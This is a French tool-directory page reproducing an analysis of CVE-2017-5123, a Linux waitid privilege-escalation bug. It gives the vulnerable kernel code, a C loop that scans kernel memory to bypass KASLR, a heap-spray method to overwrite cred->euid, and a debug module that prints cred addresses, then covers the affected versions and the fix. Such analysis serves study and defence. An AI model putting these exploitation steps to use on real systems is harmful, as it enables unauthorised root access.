Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-5123 — Analyse technique détaillée et preuve de concept d'exploitation pour CVE-2017-5123, une vulnérabilité de l'appel système waitid du noyau Linux permettant une escalade de privilèges locale via un contrôle access_ok() manquant. | Kitploit
Outils/GitHubGitHub/h1bana/cve-2017-5123
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubh1bana/cve-2017-5123

CVE-2017-5123

Analyse technique détaillée et preuve de concept d'exploitation pour CVE-2017-5123, une vulnérabilité de l'appel système waitid du noyau Linux permettant une escalade de privilèges locale via un contrôle access_ok() manquant.

Voir le dépôt
il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2017-5123

Présentation du bug

L'appel système waitid dans le noyau Linux n'a pas validé l'adresse de destination utilisée. Cela permet à un utilisateur local d'écrire dans la mémoire du noyau, pouvant entraîner une élévation de privilèges sur l'appareil ou une évasion de sandbox.

Description de la vulnérabilité

Classification de la vulnérabilité

  • Élévation de privilèges
  • Évasion de sandbox (Chrome)

Code vulnérable

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // appelle en réalité stac(), désactive temporairement SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- absence de vérification access_ok() avant d'appeler cette fonction
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // appelle en réalité clac(), réactive SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

L'erreur identifiée ici est l'absence de vérification access_ok() avant l'appel à unsafe_put_user(). Dans les versions antérieures du noyau, le programme utilisait la fonction put_user(), qui inclut l'appel à access_ok().

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

En utilisant unsafe_put_user(), le programme évite d'activer/désactiver SMAP plusieurs fois de suite en appelant user_access_begin()/user_access_end(). La fonction access_ok() vérifie la validité de l'adresse ptr, s'assurant qu'elle appartient à la mémoire utilisateur, empêchant ainsi l'écriture dans la mémoire noyau. Donc, si on appelle l'appel système waitid avec le paramètre infop pointant vers une adresse noyau, cela déclenche cette erreur.

Exploitation

L'absence de vérification access_ok() permet de passer une adresse noyau comme paramètre infop de waitid, puis l'appel système écrase cette adresse via unsafe_put_user(). Une limitation ici est que nous ne pouvons pas contrôler ce qui sera écrit à l'adresse noyau fournie. Six champs sont utilisés pour l'écriture : signo, un octet nul, info.cause, info.pid (valeur max 0x8000), info.uid, et info.status (type int32 mais valeur >0, <256). Le champ le plus utile est probablement l'octet nul. On peut l'utiliser pour écraser cred->euid et cred->uid. Pour cela, il faut connaître l'adresse de ces deux valeurs.

Contournement de KASLR par balayage mémoire

D'après kernel.org, l'adresse de la Kernel-space virtual memory partagée entre tous les processus commence à 0xffff800000000000. Cependant, de 0xffff800000000000 à 0xffff87ffffffffff se trouve "... guard hole, also reserved for hypervisor", donc nous commencerons le balayage mémoire à l'adresse 0xffff880000000000. Notons que nous pouvons balayer la mémoire car unsafe_put_user() ne crashe pas lorsque nous accédons à des adresses invalides. Cela évite aux utilisateurs non privilégiés de faire un DoS du système en passant des adresses invalides.

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

Maintenant que nous connaissons une adresse du tas noyau, nous devons déterminer l'adresse de la structure cred.

Trouver l'adresse de Cred avec heap spray

Bien que nous connaissions l'adresse du tas noyau, elle peut ne pas être le début du tas. Nous ne pouvons donc pas calculer l'adresse exacte de la structure cred. On utilise alors une technique appelée heap spray.

  • Si nous créons beaucoup de processus, de nombreuses structures cred seront présentes en mémoire. Ainsi, il est plus facile de deviner l'adresse d'une structure cred.
  • Ces processus appellent ensuite geteuid() ; si elle retourne 0, le processus s'exécute avec les droits root → bingo.
  • Le processus parent appelle l'appel système waitid() en exploitant la vulnérabilité, devine l'adresse de la structure cred et écrase cred->uid avec un octet nul.

Déboguer pour trouver l'adresse de la structure cred des processus fils prend beaucoup de temps. J'ai donc utilisé un module existant pour afficher l'adresse de cred->euid via printk().

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

J'ai remarqué que certaines adresses ont une forme similaire, même après redémarrage ; le décalage de ces adresses reste semblable. J'ai donc choisi une adresse, puis ajouté la taille de page en boucle pour deviner l'adresse de la structure cred.

image

Vidéo de démonstration de l'exploitation : IMAGE ALT TEXT HERE

Quelques problèmes concernant cette méthode d'exploitation

  • Le taux de réussite n'est pas garanti.
  • Pour les versions du noyau affectées par cette vulnérabilité, le code d'exploitation peut ne pas fonctionner sur toutes les versions car, selon la version du noyau, le décalage de l'EUID lors du spray est différent. Pour que le PoC fonctionne sur toutes les versions, lorsque le code cherche l'euid à mettre à zéro, j'ai placé une adresse sous la forme adresse du tas trouvée + offset. Il faudrait réduire l'offset pour être utilisable sur plusieurs versions. Cependant, cela signifie un temps d'attaque plus long, augmentant le risque de panique/crash du noyau à cause d'écritures potentielles dans d'autres structures importantes du tas.

Plage d'impact

  • Versions affectées : Linux kernel version 4.13 - 4.13.6
  • Commit introduisant l'erreur (2017-05-21, v4.13-rc1)

Correctif

  • Le correctif ajoute une vérification access_ok()
  • Commit corrigeant l'erreur

Conclusion

  • L'erreur peut être utilisée pour une élévation de privilèges, et peut être enchaînée avec une évasion du sandbox Chrome. Au moment de la découverte, la politique seccomp de Chrome autorisait l'utilisation de l'appel système waitid.

Références

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
Télécharger l’outil